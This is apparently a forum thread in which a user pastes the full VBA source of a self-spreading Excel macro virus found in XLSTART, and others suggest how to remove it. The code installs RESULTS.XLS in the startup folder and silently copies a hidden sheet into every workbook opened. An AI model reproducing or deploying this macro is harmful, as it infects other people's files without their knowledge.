Somehow or another, my computer has two macros stored in a file in the ExcelXLSTART directory.

Every time I write a new macro or bring one home from work, these two little macros show up and get stored in my new file. How can I get rid of them and where did they come from.

Any help would be greatly appreciated.

Here is the code contained in this file from XLSTART:

Sub auto_open()
Application.OnSheetActivate = "ck_files"
End Sub



Sub ck_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "" & "RESULTS.XLS")
If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("results").Visible = True
Sheets("results").Select
Sheets("results").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("results").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "results" Then
Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("results").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case Else
End Select
End Sub

Have you looked in the XLStart directory for any strange files ?

No idea where they cam from,but to remove them, push Alt+F11 then right click on the Module housing the code and select "Remove Module1"

I have the same problem. But, when I right click to remove, I cannot select this option. However, the macro is not listed as a module, but a project?

Dave,

Thanks for your help. I'll give it a try. I assume you are referring to other files that I have created that now have this auto open procedure. If so, I'll need to move the desired macros out of that module before I zap it.
